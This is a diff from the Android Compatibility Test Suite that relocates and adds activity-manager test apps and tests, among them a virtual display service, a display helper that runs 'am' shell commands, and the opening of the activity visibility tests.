diff --git a/tests/framework/base/activitymanager/appPrereleaseSdk/Android.mk b/tests/framework/base/activitymanager/appPrereleaseSdk/Android.mk
new file mode 100644
index 0000000..45942def
--- /dev/null
+++ b/tests/framework/base/activitymanager/appPrereleaseSdk/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH:= $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_SDK_VERSION := test_current
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_PACKAGE_NAME := CtsDevicePrereleaseSdkApp
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/tests/framework/base/activitymanager/appPrereleaseSdk/AndroidManifest.xml b/tests/framework/base/activitymanager/appPrereleaseSdk/AndroidManifest.xml
new file mode 100644
index 0000000..76cc2b6
--- /dev/null
+++ b/tests/framework/base/activitymanager/appPrereleaseSdk/AndroidManifest.xml
@@ -0,0 +1,37 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<!-- Manually set the compileSdkVersion and codename to simulate being compiled against
+ pre-release O SDK. -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.am.prerelease"
+ android:compileSdkVersion="25"
+ android:compileSdkVersionCodename="O">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+
+ <application>
+ <activity android:name=".MainActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ </application>
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/appPrereleaseSdk/src/android/server/am/prerelease/MainActivity.java b/tests/framework/base/activitymanager/appPrereleaseSdk/src/android/server/am/prerelease/MainActivity.java
new file mode 100644
index 0000000..8684faf
--- /dev/null
+++ b/tests/framework/base/activitymanager/appPrereleaseSdk/src/android/server/am/prerelease/MainActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am.prerelease;
+
+import android.app.Activity;
+
+public class MainActivity extends Activity {
+
+}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk b/tests/framework/base/activitymanager/appSecondUid/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
rename to tests/framework/base/activitymanager/appSecondUid/Android.mk
diff --git a/tests/framework/base/activitymanager/appSecondUid/AndroidManifest.xml b/tests/framework/base/activitymanager/appSecondUid/AndroidManifest.xml
new file mode 100644
index 0000000..4d4e98d
--- /dev/null
+++ b/tests/framework/base/activitymanager/appSecondUid/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.am.second">
+
+ <application>
+ <activity
+ android:name=".SecondActivity"
+ android:resizeableActivity="true"
+ android:allowEmbedded="true"
+ android:exported="true" />
+ <activity
+ android:name=".SecondActivityNoEmbedding"
+ android:resizeableActivity="true"
+ android:allowEmbedded="false"
+ android:exported="true" />
+ <receiver
+ android:name=".LaunchBroadcastReceiver"
+ android:enabled="true"
+ android:exported="true" >
+ <intent-filter>
+ <action android:name="android.server.am.second.LAUNCH_BROADCAST_ACTION"/>
+ </intent-filter>
+ </receiver>
+ </application>
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/LaunchBroadcastReceiver.java b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/LaunchBroadcastReceiver.java
new file mode 100644
index 0000000..196be3e
--- /dev/null
+++ b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/LaunchBroadcastReceiver.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.second;
+
+import android.app.ActivityOptions;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+/** Broadcast receiver that can launch activities. */
+public class LaunchBroadcastReceiver extends BroadcastReceiver {
+ private static final String TAG = LaunchBroadcastReceiver.class.getSimpleName();
+
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ final Bundle extras = intent.getExtras();
+ final Intent newIntent = new Intent();
+
+ final String targetActivity = extras != null ? extras.getString("target_activity") : null;
+ if (targetActivity != null) {
+ String packageName = extras.getString("package_name");
+ newIntent.setComponent(new ComponentName(packageName,
+ packageName + "." + targetActivity));
+ } else {
+ newIntent.setClass(context, SecondActivity.class);
+ }
+
+ ActivityOptions options = ActivityOptions.makeBasic();
+ int displayId = extras.getInt("display_id", -1);
+ if (displayId != -1) {
+ options.setLaunchDisplayId(displayId);
+ newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MULTIPLE_TASK);
+ } else {
+ newIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ }
+
+ try {
+ context.startActivity(newIntent, options.toBundle());
+ } catch (SecurityException e) {
+ Log.e(TAG, "SecurityException launching activity");
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivity.java b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivity.java
new file mode 100644
index 0000000..9607ee2
--- /dev/null
+++ b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.second;
+
+import android.app.Activity;
+
+public class SecondActivity extends Activity {
+}
diff --git a/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivityNoEmbedding.java b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivityNoEmbedding.java
new file mode 100644
index 0000000..9d66df1
--- /dev/null
+++ b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivityNoEmbedding.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.cts.second;
+
+import android.app.Activity;
+
+public class SecondActivityNoEmbedding extends Activity {
+}
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk b/tests/framework/base/activitymanager/appThirdUid/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
rename to tests/framework/base/activitymanager/appThirdUid/Android.mk
diff --git a/tests/framework/base/activitymanager/appThirdUid/AndroidManifest.xml b/tests/framework/base/activitymanager/appThirdUid/AndroidManifest.xml
new file mode 100644
index 0000000..ddd89b0
--- /dev/null
+++ b/tests/framework/base/activitymanager/appThirdUid/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.server.am.third">
+
+ <application>
+ <activity android:name=".ThirdActivity"
+ android:resizeableActivity="true"
+ android:allowEmbedded="true"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/tests/framework/base/activitymanager/appThirdUid/src/android/server/am/third/ThirdActivity.java b/tests/framework/base/activitymanager/appThirdUid/src/android/server/am/third/ThirdActivity.java
new file mode 100644
index 0000000..4327d5f
--- /dev/null
+++ b/tests/framework/base/activitymanager/appThirdUid/src/android/server/am/third/ThirdActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.third;
+
+import android.app.Activity;
+
+public class ThirdActivity extends Activity {
+}
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk b/tests/framework/base/activitymanager/displayserviceapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk
rename to tests/framework/base/activitymanager/displayserviceapp/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk b/tests/framework/base/activitymanager/displayserviceapp/app/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk
rename to tests/framework/base/activitymanager/displayserviceapp/app/Android.mk
diff --git a/tests/framework/base/activitymanager/displayserviceapp/app/AndroidManifest.xml b/tests/framework/base/activitymanager/displayserviceapp/app/AndroidManifest.xml
new file mode 100644
index 0000000..add9f60
--- /dev/null
+++ b/tests/framework/base/activitymanager/displayserviceapp/app/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+ package="android.server.am.displayservice">
+ <uses-permission android:name="android.permission.WAKE_LOCK" />
+ <application android:label="CtsDisplayService">
+ <service android:name=".VirtualDisplayService"
+ android:exported="true" />
+ </application>
+</manifest>
diff --git a/tests/framework/base/activitymanager/displayserviceapp/app/src/android/server/am/displayservice/VirtualDisplayService.java b/tests/framework/base/activitymanager/displayserviceapp/app/src/android/server/am/displayservice/VirtualDisplayService.java
new file mode 100644
index 0000000..bf6b87e
--- /dev/null
+++ b/tests/framework/base/activitymanager/displayserviceapp/app/src/android/server/am/displayservice/VirtualDisplayService.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am.displayservice;
+
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PRESENTATION;
+
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.PixelFormat;
+import android.hardware.display.DisplayManager;
+import android.hardware.display.VirtualDisplay;
+import android.media.ImageReader;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+import android.view.Surface;
+
+public class VirtualDisplayService extends Service {
+ private static final String NOTIFICATION_CHANNEL_ID = "cts/VirtualDisplayService";
+ private static final String TAG = "VirtualDisplayService";
+
+ private static final int FOREGROUND_ID = 1;
+
+ private static final int DENSITY = 160;
+ private static final int HEIGHT = 480;
+ private static final int WIDTH = 800;
+
+ private ImageReader mReader;
+ private VirtualDisplay mVirtualDisplay;
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+
+ NotificationManager notificationManager = getSystemService(NotificationManager.class);
+ notificationManager.createNotificationChannel(new NotificationChannel(
+ NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
+ NotificationManager.IMPORTANCE_DEFAULT));
+ Notification notif = new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(android.R.drawable.ic_dialog_alert)
+ .build();
+ startForeground(FOREGROUND_ID, notif);
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ String command = intent.getStringExtra("command");
+ Log.d(TAG, "Got command: " + command);
+
+ if ("create".equals(command)) {
+ createVirtualDisplay(intent);
+ } if ("off".equals(command)) {
+ mVirtualDisplay.setSurface(null);
+ } else if ("on".equals(command)) {
+ mVirtualDisplay.setSurface(mReader.getSurface());
+ } else if ("destroy".equals(command)) {
+ destroyVirtualDisplay();
+ stopSelf();
+ }
+
+ return START_NOT_STICKY;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ private void createVirtualDisplay(Intent intent) {
+ mReader = ImageReader.newInstance(WIDTH, HEIGHT, PixelFormat.RGBA_8888, 2);
+
+ final DisplayManager displayManager = getSystemService(DisplayManager.class);
+ final String name = "CtsVirtualDisplay";
+
+ int flags = VIRTUAL_DISPLAY_FLAG_PRESENTATION | VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
+ if (intent.getBooleanExtra("show_content_when_locked", false /* defaultValue */)) {
+ flags |= 1 << 5; // VIRTUAL_DISPLAY_FLAG_CAN_SHOW_WITH_INSECURE_KEYGUARD
+ }
+ mVirtualDisplay = displayManager.createVirtualDisplay(
+ name, WIDTH, HEIGHT, DENSITY, mReader.getSurface(), flags);
+ }
+
+ private void destroyVirtualDisplay() {
+ mVirtualDisplay.release();
+ mReader.close();
+ }
+}
diff --git a/tests/framework/base/activitymanager/displayserviceapp/util/Android.mk b/tests/framework/base/activitymanager/displayserviceapp/util/Android.mk
new file mode 100644
index 0000000..613888a
--- /dev/null
+++ b/tests/framework/base/activitymanager/displayserviceapp/util/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_ADDITIONAL_DEPENDENCIES := $(LOCAL_PATH)/Android.mk
+
+LOCAL_STATIC_JAVA_LIBRARIES := \
+ compatibility-device-util \
+ android-support-test
+
+LOCAL_MODULE := cts-display-service-app-util
+
+LOCAL_SDK_VERSION := current
+
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/framework/base/activitymanager/displayserviceapp/util/src/android/server/am/displayservice/DisplayHelper.java b/tests/framework/base/activitymanager/displayserviceapp/util/src/android/server/am/displayservice/DisplayHelper.java
new file mode 100644
index 0000000..f541770
--- /dev/null
+++ b/tests/framework/base/activitymanager/displayserviceapp/util/src/android/server/am/displayservice/DisplayHelper.java
@@ -0,0 +1,134 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.server.am.displayservice;
+
+import static junit.framework.Assert.assertTrue;
+
+import android.support.test.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.SystemUtil;
+
+import java.io.IOException;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+public class DisplayHelper {
+ private static final String VIRTUAL_DISPLAY_NAME = "CtsVirtualDisplay";
+ private static final String VIRTUAL_DISPLAY_SERVICE =
+ "android.server.am.displayservice/.VirtualDisplayService";
+ private static final Pattern mDisplayDevicePattern = Pattern.compile(
+ ".*DisplayDeviceInfo\\{\"([^\"]+)\":.*, state (\\S+),.*\\}.*");
+
+ private boolean mCreated;
+
+ public DisplayHelper() {
+ }
+
+ public void createAndWaitForDisplay(boolean external, boolean requestShowWhenLocked)
+ {
+ StringBuilder command =
+ new StringBuilder("am startfgservice -n " + VIRTUAL_DISPLAY_SERVICE);
+ command.append(" --es command create");
+ if (external) {
+ command.append(" --ez external_display true");
+ }
+ if (requestShowWhenLocked) {
+ command.append(" --ez show_content_when_locked true");
+ }
+ executeShellCommand(command.toString());
+
+ waitForDisplayState(false /* default */, true /* exists */, true /* on */);
+ mCreated = true;
+ }
+
+ public void turnDisplayOff() {
+ executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command off");
+ waitForDisplayState(false /* default */, true /* exists */, false /* on */);
+ }
+
+ public void turnDisplayOn() {
+ executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command on");
+ waitForDisplayState(false /* default */, true /* exists */, true /* on */);
+ }
+
+ public void releaseDisplay() {
+ if (mCreated) {
+ executeShellCommand(
+ "am start-service -n " + VIRTUAL_DISPLAY_SERVICE + " --es command destroy");
+ waitForDisplayState(false /* default */, false /* exists */, true /* on */);
+ }
+ mCreated = false;
+ }
+
+ public static void waitForDefaultDisplayState(boolean wantOn) {
+ waitForDisplayState(true /* default */, true /* exists */, wantOn);
+ }
+
+ public static boolean getDefaultDisplayState() {
+ return getDisplayState(true);
+ }
+
+ private static void waitForDisplayState(boolean defaultDisplay, boolean wantExists, boolean wantOn) {
+ int tries = 0;
+ boolean done = false;
+ do {
+ if (tries > 0) {
+ try {
+ Thread.sleep(500);
+ } catch (InterruptedException e) {
+ // Oh well
+ }
+ }
+
+ Boolean state = getDisplayState(defaultDisplay);
+ done = (!wantExists && state == null)
+ || (wantExists && state != null && state == wantOn);
+
+ tries++;
+ } while (tries < 10 && !done);
+
+ assertTrue(done);
+ }
+
+ private static Boolean getDisplayState(boolean defaultDisplay) {
+ String dump = executeShellCommand("dumpsys display");
+
+ boolean displayExists = false;
+ boolean displayOn = false;
+ for (String line : dump.split("\\n")) {
+ Matcher matcher = mDisplayDevicePattern.matcher(line);
+ if (matcher.matches()) {
+ if ((defaultDisplay && line.contains("FLAG_DEFAULT_DISPLAY"))
+ || (!defaultDisplay && VIRTUAL_DISPLAY_NAME.equals(matcher.group(1)))) {
+ return "ON".equals(matcher.group(2));
+ }
+ }
+ }
+ return null;
+ }
+
+ private static String executeShellCommand(String command) {
+ try {
+ return SystemUtil
+ .runShellCommand(InstrumentationRegistry.getInstrumentation(), command);
+ } catch (IOException e) {
+ //bubble it up
+ throw new RuntimeException(e);
+ }
+ }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityAndWindowManagerOverrideConfigTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityAndWindowManagerOverrideConfigTests.java
new file mode 100644
index 0000000..ef5d341
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityAndWindowManagerOverrideConfigTests.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.WINDOWING_MODE_FREEFORM;
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import org.junit.Test;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+/**
+ * Build: mmma -j32 cts/hostsidetests/services
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityAndWindowManagerOverrideConfigTests
+ */
+public class ActivityAndWindowManagerOverrideConfigTests extends ActivityManagerTestBase {
+ private static final String TEST_ACTIVITY_NAME = "LogConfigurationActivity";
+
+ private class ConfigurationChangeObserver {
+ private final Pattern mConfigurationChangedPattern =
+ Pattern.compile("(.+)Configuration changed: (\\d+),(\\d+)");
+
+ private ConfigurationChangeObserver() {
+ }
+
+ private boolean findConfigurationChange(String activityName, String logSeparator)
+ throws InterruptedException {
+ int tries = 0;
+ boolean observedChange = false;
+ while (tries < 5 && !observedChange) {
+ final String[] lines = getDeviceLogsForComponent(activityName, logSeparator);
+ log("Looking at logcat");
+ for (int i = lines.length - 1; i >= 0; i--) {
+ final String line = lines[i].trim();
+ log(line);
+ Matcher matcher = mConfigurationChangedPattern.matcher(line);
+ if (matcher.matches()) {
+ observedChange = true;
+ break;
+ }
+ }
+ tries++;
+ Thread.sleep(500);
+ }
+ return observedChange;
+ }
+ }
+
+ @Test
+ public void testReceiveOverrideConfigFromRelayout() throws Exception {
+ if (!supportsFreeform()) {
+ log("Device doesn't support freeform. Skipping test.");
+ return;
+ }
+
+ launchActivity(TEST_ACTIVITY_NAME, WINDOWING_MODE_FREEFORM);
+
+ setDeviceRotation(0);
+ String logSeparator = clearLogcat();
+ resizeActivityTask(TEST_ACTIVITY_NAME, 0, 0, 100, 100);
+ ConfigurationChangeObserver c = new ConfigurationChangeObserver();
+ final boolean reportedSizeAfterResize = c.findConfigurationChange(TEST_ACTIVITY_NAME,
+ logSeparator);
+ assertTrue("Expected to observe configuration change when resizing",
+ reportedSizeAfterResize);
+
+ logSeparator = clearLogcat();
+ setDeviceRotation(2);
+ final boolean reportedSizeAfterRotation = c.findConfigurationChange(TEST_ACTIVITY_NAME,
+ logSeparator);
+ assertFalse("Not expected to observe configuration change after flip rotation",
+ reportedSizeAfterRotation);
+ }
+}
+
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
new file mode 100644
index 0000000..4063e79
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -0,0 +1,439 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.ActivityManager.StackId.INVALID_STACK_ID;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.StateLogger.log;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.After;
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerActivityVisibilityTests
+ */
+public class ActivityManagerActivityVisibilityTests extends ActivityManagerTestBase {
+ private static final String TRANSLUCENT_ACTIVITY = "AlwaysFocusablePipActivity";
+ private static final String PIP_ON_PIP_ACTIVITY = "LaunchPipOnPipActivity";
+ private static final String TEST_ACTIVITY_NAME = "TestActivity";
+ private static final String TRANSLUCENT_ACTIVITY_NAME = "TranslucentActivity";
+ private static final String DOCKED_ACTIVITY_NAME = "DockedActivity";
+ private static final String TURN_SCREEN_ON_ACTIVITY_NAME = "TurnScreenOnActivity";
+ private static final String MOVE_TASK_TO_BACK_ACTIVITY_NAME = "MoveTaskToBackActivity";
+ private static final String SWIPE_REFRESH_ACTIVITY = "SwipeRefreshActivity";
+
+ private static final String NOHISTORY_ACTIVITY = "NoHistoryActivity";
+ private static final String TURN_SCREEN_ON_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrActivity";
+ private static final String TURN_SCREEN_ON_SHOW_ON_LOCK_ACTIVITY_NAME = "TurnScreenOnShowOnLockActivity";
+ private static final String TURN_SCREEN_ON_ATTR_REMOVE_ATTR_ACTIVITY_NAME = "TurnScreenOnAttrRemoveAttrActivity";
+ private static final String TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY_NAME = "TurnScreenOnSingleTaskActivity";
+ private static final String TURN_SCREEN_ON_WITH_RELAYOUT_ACTIVITY =
+ "TurnScreenOnWithRelayoutActivity";
+
+ @After
+ @Override
+ public void tearDown() throws Exception {
+ super.tearDown();
+ tearDownLockCredentials();
+ }
+
+ @Presubmit
+ @Test
+ public void testTranslucentActivityOnTopOfPinnedStack() throws Exception {
+ if (!supportsPip()) {
+ return;
+ }
+
